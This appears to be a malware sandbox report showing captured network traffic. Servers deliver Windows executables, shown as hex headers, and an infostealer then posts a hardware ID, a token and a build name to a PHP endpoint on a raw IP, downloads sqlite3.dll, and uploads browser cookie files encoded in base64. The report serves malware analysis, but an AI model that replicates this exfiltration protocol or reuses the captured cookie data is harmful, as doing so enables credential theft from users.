2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4b 00 00 22 00 00 00 04 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 27 Jul 2024 01:19:22 GMTContent-Type: application/octet-streamContent-Length: 1931776Last-Modified: Sat, 27 Jul 2024 00:39:53 GMTConnection: keep-aliveETag: "66a441d9-1d7a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 70 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 4c 00 00 04 00 00 7d a3 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 94 5c 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 5c 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 68 65 63 6d 6b 6d 78 00 60 1a 00 00 00 32 00 00 60 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 6b 69 6a 61 69 7a 74 00 10 00 00 00 60 4c 00 00 04 00 00 00 54 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4c 00 00 22 00 00 00 58 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 27 Jul 2024 01:19:34 GMTContent-Type: application/octet-streamContent-Length: 250368Last-Modified: Sat, 27 Jul 2024 00:50:14 GMTConnection: keep-aliveETag: "66a44446-3d200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 54 67 94 73 10 06 fa 20 10 06 fa 20 10 06 fa 20 7f 70 51 20 0b 06 fa 20 7f 70 64 20 00 06 fa 20 7f 70 50 20 74 06 fa 20 19 7e 69 20 1b 06 fa 20 10 06 fb 20 64 06 fa 20 7f 70 55 20 11 06 fa 20 7f 70 60 20 11 06 fa 20 7f 70 67 20 11 06 fa 20 52 69 63 68 10 06 fa 20 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 2c 7f 18 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 1a 02 00 00 78 03 02 00 00 00 00 e9 20 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 05 02 00 04 00 00 9a 07 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e4 58 02 00 78 00 00 00 00 c0 04 02 08 9a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5c 59 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 53 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 02 00 bc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 70 18 02 00 00 10 00 00 00 1a 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e8 32 00 00 00 30 02 00 00 34 00 00 00 1e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c 2e 02 02 00 70 02 00 00 dc 00 00 00 52 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 63 61 73 69 77 69 64 d3 02 00 00 00 a0 04 02 00 04 00 00 00 2e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 6d 75 66 75 00 00 00 00 04 00 00 00 b0 04 02 00 04 00 00 00 32 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 08 9a 00 00 00 c0 04 02 00 9c 00 00 00 36 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 27 Jul 2024 01:19:37 GMTContent-Type: application/octet-streamContent-Length: 3278336Last-Modified: Sat, 27 Jul 2024 00:38:28 GMTConnection: keep-aliveETag: "66a44184-320600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 66 41 a4 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 c6 08 00 00 00 00 00 2c 58 af 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 af 00 00 04 00 00 19 a0 12 00 02 00 40 80 00 00 80 00 00 20 00 00 00 00 80 00 00 20 00 00 00 00 00 00 10 00 00 00 50 a0 8c 00 f4 0c 00 00 44 ad 8c 00 4c 04 00 00 00 d0 12 00 e8 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 a0 8c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 8c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 09 00 00 10 00 00 00 00 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 03 00 00 c0 09 00 00 f2 00 00 00 04 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 00 00 00 c0 0c 00 00 04 00 00 00 f6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 10 05 00 00 40 0d 00 00 f6 04 00 00 fa 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 00 00 00 50 12 00 00 62 00 00 00 f0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 90 00 00 00 d0 12 00 00 8e 00 00 00 52 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 10 79 00 00 60 13 00 00 28 03 00 00 e0 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 00 23 00 00 70 8c 00 00 fe 22 00 00 08 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJEHCAKFBGDGCAAAFBGHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 39 33 46 38 45 45 43 36 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 2d 2d 0d 0a Data Ascii: ------BKJEHCAKFBGDGCAAAFBGContent-Disposition: form-data; name="hwid"6C93F8EEC6E91041095265------BKJEHCAKFBGDGCAAAFBGContent-Disposition: form-data; name="build"sila------BKJEHCAKFBGDGCAAAFBG--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHJKFHJJJKJJJJKEHCBHost: 85.28.47.31Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 2d 2d 0d 0a Data Ascii: ------EGHJKFHJJJKJJJJKEHCBContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------EGHJKFHJJJKJJJJKEHCBContent-Disposition: form-data; name="message"browsers------EGHJKFHJJJKJJJJKEHCB--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKFBKEHDBGHJJKFIEGDHost: 85.28.47.31Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 2d 2d 0d 0a Data Ascii: ------BAKFBKEHDBGHJJKFIEGDContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------BAKFBKEHDBGHJJKFIEGDContent-Disposition: form-data; name="message"plugins------BAKFBKEHDBGHJJKFIEGD--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIDAECGDAFBAAAAAECGIHost: 85.28.47.31Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 44 41 45 43 47 44 41 46 42 41 41 41 41 41 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 41 45 43 47 44 41 46 42 41 41 41 41 41 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 41 45 43 47 44 41 46 42 41 41 41 41 41 45 43 47 49 2d 2d 0d 0a Data Ascii: ------GIDAECGDAFBAAAAAECGIContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------GIDAECGDAFBAAAAAECGIContent-Disposition: form-data; name="message"fplugins------GIDAECGDAFBAAAAAECGI--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCBKECAKFBGCAKECGIEHost: 85.28.47.31Content-Length: 7979Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/sqlite3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCGIJDBAFCBAAKECGDGCHost: 85.28.47.31Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 77 4f 44 41 79 43 55 35 4a 52 41 6b 31 4d 54 45 39 56 55 4a 6c 54 6b 4e 72 57 6a 4e 4d 4f 48 6c 59 59 33 67 34 63 57 67 30 53 6b 5a 56 57 47 74 33 61 30 35 44 4f 55 6c 79 5a 47 6c 53 5a 47 4a 71 55 31 52 71 63 56 4e 70 52 6d 67 34 56 33 4a 53 59 32 4a 4c 63 6c 39 79 54 30 70 69 5a 30 68 5a 4e 6c 52 42 4e 46 4a 55 4c 54 5a 77 63 7a 42 69 61 47 56 74 5a 6e 64 44 55 45 4a 7a 54 45 31 6e 55 46 51 33 4c 57 64 55 59 31 64 78 53 48 5a 61 64 6c 70 69 59 57 5a 50 63 47 74 78 55 6e 6b 77 5a 45 78 35 57 55 63 35 51 57 70 51 4d 6e 5a 69 56 55 4a 76 62 57 46 79 62 6d 4d 35 63 47 4e 61 56 6d 78 6f 53 47 74 56 5a 56 56 68 56 30 31 31 63 6b 51 77 52 30 64 59 65 56 63 77 4e 56 39 43 58 7a 46 4a 65 56 56 4f 57 55 56 46 54 47 31 35 63 56 4a 6e 43 69 35 6e 62 32 39 6e 62 47 55 75 59 32 39 74 43 56 52 53 56 55 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 6a 6b 35 4d 44 63 78 4e 6a 51 77 43 54 46 51 58 30 70 42 55 67 6b 79 4d 44 49 7a 4c 54 45 77 4c 54 41 31 4c 54 41 32 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 2d 2d 0d 0a Data Ascii: ------FCGIJDBAFCBAAKECGDGCContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------FCGIJDBAFCBAAKECGDGCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FCGIJDBAFCBAAKECGDGCContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCFBAAEHCFHJJKEHJKJHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------KFCFBAAEHCFHJJKEHJKJContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------KFCFBAAEHCFHJJKEHJKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFCFBAAEHCFHJJKEHJKJContent-Disposition: form-data; name="file"------KFCFBAAEHCFHJJKEHJKJ--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFBAKEHIEBKJJJJJKKKEHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 2d 2d 0d 0a Data Ascii: ------CFBAKEHIEBKJJJJJKKKEContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------CFBAKEHIEBKJJJJJKKKEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CFBAKEHIEBKJJJJJKKKEContent-Disposition: form-data; 